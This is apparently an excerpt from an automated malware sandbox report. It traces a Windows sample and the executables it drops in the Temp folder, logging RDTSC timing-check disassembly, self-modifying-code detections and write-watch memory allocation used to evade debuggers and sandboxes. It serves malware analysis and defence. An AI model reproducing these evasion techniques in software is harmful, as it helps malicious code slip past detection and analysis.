Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0D06 second address: 50F0D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AA8C154CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50F0D16 second address: 50F0D1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F12D second address: D4F132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F132 second address: D4F138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F138 second address: D4F13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F13C second address: D4F154 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AA8B7BB8Dh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: D4F154 second address: D4F159 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7F24 second address: ED7F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8AA8B7BB97h 0x0000000c jmp 00007F8AA8B7BB8Dh 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7F4F second address: ED7F59 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8AA8C154C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7F59 second address: ED7F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7F62 second address: ED7F8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F8AA8C154C6h 0x0000000a js 00007F8AA8C154C6h 0x00000010 popad 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 jmp 00007F8AA8C154D2h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED102E second address: ED1034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7244 second address: ED726E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8AA8C154C6h 0x00000008 jmp 00007F8AA8C154CCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F8AA8C154D4h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED7514 second address: ED7530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8AA8B7BB96h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED76B5 second address: ED76EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8AA8C154D8h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F8AA8C154C6h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED9EE2 second address: ED9EF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED9EF8 second address: ED9EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED9F79 second address: ED9F83 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: ED9F83 second address: EDA03E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F8AA8C154D8h 0x00000012 xor edx, 0000AB11h 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+122D1A87h] 0x00000020 push 529FEAB1h 0x00000025 jmp 00007F8AA8C154CDh 0x0000002a xor dword ptr [esp], 529FEA31h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F8AA8C154C8h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b adc esi, 3AE36AECh 0x00000051 stc 0x00000052 push 00000003h 0x00000054 jp 00007F8AA8C154CBh 0x0000005a mov edi, 69DA6C87h 0x0000005f push 00000000h 0x00000061 push edi 0x00000062 adc di, F991h 0x00000067 pop edi 0x00000068 push 00000003h 0x0000006a sub dword ptr [ebp+122D17A6h], eax 0x00000070 call 00007F8AA8C154C9h 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F8AA8C154D7h 0x0000007c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA03E second address: EDA048 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8AA8B7BB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA048 second address: EDA054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA054 second address: EDA079 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8AA8B7BB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8AA8B7BB94h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA079 second address: EDA0A3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8AA8C154C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F8AA8C154DAh 0x00000014 jmp 00007F8AA8C154D4h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA0A3 second address: EDA0F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F8AA8B7BB86h 0x00000009 jg 00007F8AA8B7BB86h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jmp 00007F8AA8B7BB8Ah 0x0000001b pop eax 0x0000001c sub dword ptr [ebp+122D1801h], edi 0x00000022 lea ebx, dword ptr [ebp+1245EDD6h] 0x00000028 mov edx, 1959F351h 0x0000002d xchg eax, ebx 0x0000002e pushad 0x0000002f jmp 00007F8AA8B7BB97h 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA0F2 second address: EDA103 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AA8C154C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA103 second address: EDA10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA10A second address: EDA110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA144 second address: EDA148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA231 second address: EDA25E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d pop esi 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 pop edi 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8AA8C154D1h 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA31E second address: EDA344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8AA8B7BB86h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e movsx edx, cx 0x00000011 push 00000000h 0x00000013 push A29083AFh 0x00000018 je 00007F8AA8B7BB94h 0x0000001e push eax 0x0000001f push edx 0x00000020 jne 00007F8AA8B7BB86h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EDA344 second address: EDA3E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 5D6F7CD1h 0x0000000d add ecx, dword ptr [ebp+122D1813h] 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F8AA8C154C8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f stc 0x00000030 movsx ecx, di 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D17E5h], eax 0x0000003b push 00000003h 0x0000003d call 00007F8AA8C154CAh 0x00000042 and si, 90FCh 0x00000047 pop esi 0x00000048 call 00007F8AA8C154C9h 0x0000004d jmp 00007F8AA8C154D0h 0x00000052 push eax 0x00000053 jmp 00007F8AA8C154D3h 0x00000058 mov eax, dword ptr [esp+04h] 0x0000005c push eax 0x0000005d push edx 0x0000005e jo 00007F8AA8C154D7h 0x00000064 jmp 00007F8AA8C154D1h 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EF9AEF second address: EF9AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EF9AF5 second address: EF9AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EF9D6D second address: EF9D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EF9D71 second address: EF9D89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F8AA8C154CDh 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA163 second address: EFA199 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8AA8B7BB98h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007F8AA8B7BB90h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 push ebx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA2FA second address: EFA300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA300 second address: EFA324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8AA8B7BB93h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA324 second address: EFA32A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA32A second address: EFA342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F8AA8B7BB91h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA4AB second address: EFA4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA4AF second address: EFA4D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F8AA8B7BB97h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA4D9 second address: EFA50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D7h 0x00000009 popad 0x0000000a js 00007F8AA8C154DAh 0x00000010 jmp 00007F8AA8C154D4h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA9C0 second address: EFA9D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007F8AA8B7BB86h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jo 00007F8AA8B7BB86h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA9D3 second address: EFA9DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFAB40 second address: EFAB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFB2F7 second address: EFB303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8AA8C154C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFBA06 second address: EFBA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFBA0C second address: EFBA10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFBA10 second address: EFBA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F00BE6 second address: F00BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F00BEB second address: F00BF0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F01052 second address: F01064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F01064 second address: F01069 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F01069 second address: F0113C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F8AA8C154D4h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 pushad 0x00000017 jmp 00007F8AA8C154D6h 0x0000001c mov bl, 24h 0x0000001e popad 0x0000001f pushad 0x00000020 mov cl, ECh 0x00000022 mov bx, ax 0x00000025 popad 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d pushad 0x0000002e mov di, cx 0x00000031 jmp 00007F8AA8C154D3h 0x00000036 popad 0x00000037 lea eax, dword ptr [ebp+124864DEh] 0x0000003d cld 0x0000003e mov dword ptr [eax+01h], esp 0x00000041 pushad 0x00000042 ja 00007F8AA8C154C6h 0x00000048 popad 0x00000049 lea eax, dword ptr [ebp+124864E4h] 0x0000004f jmp 00007F8AA8C154D2h 0x00000054 mov dword ptr [eax+01h], ebp 0x00000057 jmp 00007F8AA8C154D5h 0x0000005c mov byte ptr [ebp+122D2250h], 0000004Fh 0x00000063 pushad 0x00000064 pushad 0x00000065 mov ax, di 0x00000068 xor bx, ADABh 0x0000006d popad 0x0000006e mov edi, 21E5F7B2h 0x00000073 popad 0x00000074 push A08536FAh 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007F8AA8C154CDh 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F0113C second address: F01146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F013D8 second address: F013E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 983CF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B2C23D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BB390D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Special instruction interceptor: First address: D4E975 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Special instruction interceptor: First address: F010D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Special instruction interceptor: First address: F275F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Special instruction interceptor: First address: F08FE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Special instruction interceptor: First address: 791A9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Special instruction interceptor: First address: 935B04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Special instruction interceptor: First address: 9B6992 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 7ADD01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 7ADBD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2BE975 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4710D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 7AB57A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4975F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 97D99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 478FE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 9E741E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Special instruction interceptor: First address: 2D3CF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Special instruction interceptor: First address: 47C23D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Special instruction interceptor: First address: 50390D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Special instruction interceptor: First address: 59E975 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Special instruction interceptor: First address: 7510D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Special instruction interceptor: First address: 7775F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Special instruction interceptor: First address: 758FE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Special instruction interceptor: First address: 7D1A9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Special instruction interceptor: First address: 975B04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Special instruction interceptor: First address: 9F6992 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 78DD01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 78DBD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 78B57A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 95D99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 9C741E instructions caused by: Self-modifying code

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Memory allocated: 4FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Memory allocated: 5230000 memory reserve \| memory write watch	Jump to behavior
